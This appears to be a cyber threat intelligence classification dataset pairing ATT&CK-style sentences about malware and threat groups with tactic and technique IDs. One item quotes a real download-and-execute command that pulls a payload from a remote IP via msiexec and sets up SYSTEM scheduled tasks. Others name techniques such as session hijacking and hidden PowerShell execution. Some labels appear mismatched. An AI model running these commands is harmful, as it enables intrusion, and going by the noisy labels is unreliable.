madox81/Adema_ATTACK_DS huggingface dataset:
Input: Cobalt Group has bypassed UAC.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: Monitor executed commands and arguments that may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC.

Tactics: TA0008
Techniques: T1021
Input: Physical / logical network diagrams

Tactics: TA0009
Techniques: T1213, T1213.001, T1213.002
Input: HiddenWasp communicates with a simple network protocol over TCP.

Tactics: TA0011
Techniques: T1095
Input: Ke3chang has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers.

Tactics: TA0001
Techniques: T1190
Input: In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection.

Tactics: TA0011
Techniques: T1568.001, T1568
Input: HAFNIUM has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, China Chopper, and ASPXSpy.

Tactics: TA0003
Techniques: T1505.003, T1505
Input: POWERSTATS uses character replacement, PowerShell environment variables, and XOR encoding to obfuscate code.

Tactics: TA0005
Techniques: T1027
Input: Figure 2 – The entire contents of the macro   The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware:       cmd /c set /p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i http://199.247.6.253/ud^",false,0 <nul >C:\Windows\System32\spool\drivers\color\tmp.vbs & schtasks /create /sc MINUTE/tn "Windows System" /tr "C:\Windows\System32\spool\drivers\color\tmp.vbs"/mo 2 /F & schtasks /create /sc MINUTE /tn "Windows System" /tr"C:\Windows\System32\spool\drivers\color\tmp.vbs" /mo 2 /RU SYSTEM /c set/p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /ihttp://199.247.6.253/ud^",false,0 <nul >C:\Windows\System32\spool\drivers\color\tmp.vbs & schtasks /create /sc MINUTE/tn "Windows System" /tr "C:\Windows\System32\spool\drivers\color\tmp.vbs"/mo 2 /F & schtasks /create /sc MINUTE /tn "Windows System" /tr"C:\Windows\System32\spool\drivers\color\tmp.vbs" /mo 2 /RU SYSTEM       Cluster B Case 2: Delivery via HTA Loader – 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458  In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment

Tactics: TA0002, TA0003, TA0004, TA0007, TA0009
Techniques: T1053.005, T1547.001, T1053, T1547, T1106, T1010, T1074
Input: Zeus Panda can launch remote scripts on the victim’s machine.

Tactics: TA0002
Techniques: T1059
Input: WarzoneRAT has the ability of performing remote desktop access via a VNC console.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

Tactics: TA0005
Techniques: T1562
Input: QUADAGENT checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.

Tactics: TA0007
Techniques: T1012
Input: Cannon can gather system information from the victim’s machine such as the OS version, machine name, and drive information.

Tactics: TA0007
Techniques: T1082
Input: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial.

Tactics: TA0009
Techniques: T1213, T1213.002
Input: Windows uses access tokens to determine the ownership of a running process.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Create a process by impersonating a logged-on user  Getting a user token using WTSQueryUserToken

Tactics: TA0004, TA0005
Techniques: T1134
Input: BackdoorDiplomacy has used SMBTouch, a vulnerability scanner, to determine whether a target is vulnerable to EternalBlue malware.

Tactics: TA0007
Techniques: T1046
Input: Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes.

Tactics: TA0002
Techniques: T1059.002, T1059
Input: njRAT has executed PowerShell commands via auto-run registry key persistence.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: APT32 executed shellcode to identify the name of the infected host.

Tactics: TA0007
Techniques: T1082
Input: With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user.

Tactics: TA0008
Techniques: T1563.002, T1563
Input: Taidoor can use GetLocalTime and GetSystemTime to collect system time.

Tactics: TA0007
Techniques: T1124
Input: Hildegard has downloaded scripts from GitHub.

Tactics: TA0011
Techniques: T1102
Input: Impacket modules like ntlmrelayx and smbrelayx can be used in conjunction with Network Sniffing and LLMNR/NBT-NS Poisoning and SMB Relay to gather NetNTLM credentials for Brute Force or relay attacks that can gain code execution.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557
Input: FoggyWeb's loader can call the load() function to load the FoggyWeb dll into an Application Domain on a compromised AD FS server.

Tactics: TA0002
Techniques: T1129
Input: ThreatNeedle can obtain file and directory information.

Tactics: TA0007
Techniques: T1083
Input: Clambling has been delivered to victim's machines through malicious e-mail attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Here is an example of the result of ps ax on an infected system:       $ ps ax[...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle[...]     Figure 8: Result of ps ax on an infected system Keychain stealing The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s keychain

Tactics: TA0007
Techniques: T1082
Input: Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.

Tactics: TA0006
Techniques: T1555.005, T1555
Input: KONNI has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection chain.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Leviathan has used external remote services such as virtual private networks (VPN) to gain initial access.

Tactics: TA0001, TA0003
Techniques: T1133
Input: By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content

Tactics: TA0002
Techniques: T1204
Input: Chimera has used netstat -ano | findstr EST to discover network connections.

Tactics: TA0007
Techniques: T1049
Input: Monitor newly executed processes that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.006
Input: Pupy has a module that checks a number of indicators on the system to determine if its running on a virtual machine.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: GoldenSpy's installer has delayed installation of GoldenSpy for two hours after it reaches a victim system.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: OilRig has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.

Tactics: TA0007
Techniques: T1046
Input: RogueRobin uses a command prompt to run a PowerShell script from Excel.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: BloodHound can collect information about local groups and members.

Tactics: TA0007
Techniques: T1069.001, T1069
Input: AppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories.

Tactics: TA0007
Techniques: T1083
Input: APT3 has been known to add created accounts to local admin groups to maintain elevated access.

Tactics: TA0003
Techniques: T1098
Input: Mustang Panda has used netstat -ano to determine network connection information.

Tactics: TA0007
Techniques: T1049
Input: StoneDrill has a disk wiper module that targets files other than those in the Windows directory.

Tactics: TA0040
Techniques: T1485
Input: QakBot can use Regsvr32 to execute malicious DLLs.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.

Tactics: TA0005
Techniques: T1218, T1218.003
Input: Regular Expressions   ([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})   Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})   ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   (\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(\\d+.\\d+.\\d+.\\d+)    Table 3 Regular expressions used by RogueRobin The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers

Tactics: TA0007
Techniques: T1016
Input: Rising Sun can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time.

Tactics: TA0007
Techniques: T1083
Input: Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.006
Input: High Commissioner of Bangladesh Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 Afghan Bomb Blast report by ISI USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018 How Rigging take place in Senate Elections in Pakistan Afghan Terrorist group details ISI Restricted113 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database  Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):  Liberation Freedom Fighter.xlam NSC details of participants.xlam Raw Sect Vikram report on Pak Army Confidential.doc USA Immagration Policy for Families.ppam doc CV FM.doc doc Sukhoi35 deal report.doc Nominal Roll.doc Press Release 17 April.doc Afghan Blast report by ISI.doc Rigging in Pakistan Senate.doc Afghan Terrorist group report.doc    The payloads for these attacks varied in malware family

Tactics: TA0007
Techniques: T1083
Input: Monitor executed commands and arguments that may attempt to take screen captures of the desktop to gather information over the course of an operation.

Tactics: TA0009
Techniques: T1113
Input: System settings can prevent applications from running that haven't been downloaded through the Apple Store which may help mitigate some of these issues.

Tactics: TA0004, TA0005
Techniques: T1548.004, T1548
Input: ZLib has the ability to enumerate files and drives.

Tactics: TA0007
Techniques: T1083
Input: Koadic has added persistence to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Registry key.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Having a Meterpreter session on a compromised computer allows for full control of the computer and exfiltration of any data, and in some cases lateral movement inside the organization

Tactics: TA0009, TA0011
Techniques: T1132, T1123
Input: In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities.

Tactics: TA0042
Techniques: T1588, T1588.001
Input: Duqu will inject itself into different processes to evade detection.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Bisonal variants reported on in 2014 and 2015 used a simple XOR cipher for C2.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: RATANKBA gathers the victim’s IP address via the ipconfig -all command.

Tactics: TA0007
Techniques: T1016
Input: cmd can be used to find information about the operating system.

Tactics: TA0007
Techniques: T1082
Input: Once a file is uploaded, Machete will delete it from the machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: The source code only considers the following machine types:default:   lpString = "(Other)";               break;case 0x02: lpString = "(Unknown)";             break;case 0x03: lpString = "(Desktop)";             break;case 0x04: lpString = "(Low Profile Desktop)"; break;case 0x06: lpString = "(Mini Tower)";          break;case 0x07: lpString = "(Tower)";               break;case 0x08: lpString = "(Portable)";            break;case 0x09: lpString = "(Laptop)";              break;case 0x0A: lpString = "(Notebook)";            break;case 0x0E: lpString = "(Sub Notebook)";        break;The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples.It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the "Golden Time" campaign.Brower StealerFor the first time, the ROKRAT sample used during the "North Korean Human Rights" contained a browser credentials stealer

Tactics: TA0007, TA0011
Techniques: T1124, T1008
Input: QakBot can use netstat to enumerate current network connections.

Tactics: TA0007
Techniques: T1049
Input: MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Adversaries could use shortcuts to execute their tools for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

Tactics: TA0005
Techniques: T1202
Input: Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.

Tactics: TA0005
Techniques: T1564.010, T1564
Input: Ebury has used Python to implement its DGA.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: MarkiRAT can initiate communication over HTTP/HTTPS for its C2 server.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Tactics: TA0042
Techniques: T1586.001, T1586
Input: Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched.

Tactics: TA0003, TA0004
Techniques: T1546.013, T1546
Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Adversaries may also use the same icon of the file they are trying to mimic.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: ShimRat can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574
Input: Clambling can browse directories on a compromised host.

Tactics: TA0007
Techniques: T1083
Input: Windigo has used a script to detect installed software on targeted systems.

Tactics: TA0007
Techniques: T1518
Input: HermeticWiper can call multiple Windows API functions used for privilege escalation, service execution, and to overwrite random bites of data.

Tactics: TA0002
Techniques: T1106
Input: Imminent Monitor has encrypted the spearphish attachments to avoid detection from email gateways; the debugger also encrypts information before sending to the C2.

Tactics: TA0005
Techniques: T1027
Input: TrickBot obtains the IP address, location, and other relevant network information from the victim’s machine.

Tactics: TA0007
Techniques: T1016
Input: Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:  AutoFocus customers can track this Trojan with the OopsIE tag All known OopsIE samples are marked with malicious verdicts in WildFire All known OopsIE C2 domains have DNS signatures and are classified as Command and Control    Indicators of Compromise OopsIE Trojan 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17  OopsIE C2 defender-update[.]com windowspatch[.]com The post OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE appeared first on Palo Alto Networks Blog

Tactics: TA0011
Techniques: T1071, T1008
Input: Also consider investigating more detailed information about jobs by parsing the BITS job database.

Tactics: TA0003, TA0005
Techniques: T1197
Input: Koadic has used the command Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden to hide its window.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: The decrypted code resolves the necessary API functions, decompresses the embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory

Tactics: TA0005
Techniques: T1140
Input: APT32 has sent spearphishing emails containing malicious links.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: TEMP.Veles has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates.

Tactics: TA0005
Techniques: T1027, T1027.005
Input: HttpBrowser's executable code may be obfuscated through structured exception handling and return-oriented programming

Tactics: TA0005
Techniques: T1027
Input: Anti-virus can be used to automatically quarantine suspicious files.

Tactics: TA0002
Techniques: T1059.006, T1059.001, T1059.005, T1059
Input: System time information may be gathered in a number of ways, such as with Net on Windows by performing net time \hostname to gather the system time on a remote system.

Tactics: TA0007
Techniques: T1124
Input: Cyclops Blink has maintained persistence by patching legitimate device firmware when it is downloaded, including that of WatchGuard devices.

Tactics: TA0003, TA0005
Techniques: T1542.002, T1542
Input: Bankshot can terminate a specific process by its process id.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Winnti for Windows can add a service named wind0ws to the Registry to achieve persistence after reboot.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system.

Tactics: TA0004
Techniques: T1068
Input: Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Empire can use New-GPOImmediateTask to modify a GPO that will install and execute a malicious Scheduled Task/Job.

Tactics: TA0004, TA0005
Techniques: T1484.001, T1484
Input: Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: ECCENTRICBANDWAGON can delete log files generated from the malware stored at C:\windows\temp\tmp0207.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: This is now a deprecated mechanism in macOS in favor of Launchd.

Tactics: TA0003, TA0004
Techniques: T1037.004, T1037
Input: APT28 has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.

Tactics: TA0002
Techniques: T1203
Input: Monitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting.

Tactics: TA0042
Techniques: T1583
Input: Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Tactics: TA0005
Techniques: T1535
Input: Winnti for Windows can use a variant of the sysprep UAC bypass.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).

Tactics: TA0043
Techniques: T1591.003, T1591
Input: OopsIE performs several anti-VM and sandbox checks on the victim's machine.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework

Tactics: TA0005, TA0011
Techniques: T1070, T1090.003, T1027, T1090
Input: Smoke Loader downloads a new version of itself once it has installed.

Tactics: TA0011
Techniques: T1105
Input: Monitor 2FA/MFA application logs for suspicious events such as rapid login attempts with valid credentials.

Tactics: TA0006
Techniques: T1621
Input: POWRUNER may collect process information by running tasklist on a victim.

Tactics: TA0007
Techniques: T1057
Input: Monitor for API calls (such as RegOpenKeyExA) that may interact with the Windows Registry to gather information about the system, configuration, and installed software.

Tactics: TA0007
Techniques: T1012
Input: PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.003, T1556
Input: StrongPity has the ability to hide the console window for its document search module from the user.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.

Tactics: TA0040
Techniques: T1495
Input: Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity

Tactics: TA0040
Techniques: T1565.001, T1565.003, T1565
Input: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address.

Tactics: TA0011
Techniques: T1568, T1568.003
Input: Alarmingly, the detection score on VirusTotal for all of the documents continues to be 0/56 from the time the first documents were uploaded (1.6.2017) up until the date of this publication

Tactics: TA0007
Techniques: T1124
Input: If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.

Tactics: TA0008
Techniques: T1021, T1021.006
Input: Lazarus Group has restored malicious KernelCallbackTable code to its original state after the process execution flow has been hijacked.

Tactics: TA0005
Techniques: T1070
Input: APT30 has used spearphishing emails with malicious DOC attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: FlawedAmmyy leverages WMI to enumerate anti-virus on the victim.

Tactics: TA0002
Techniques: T1047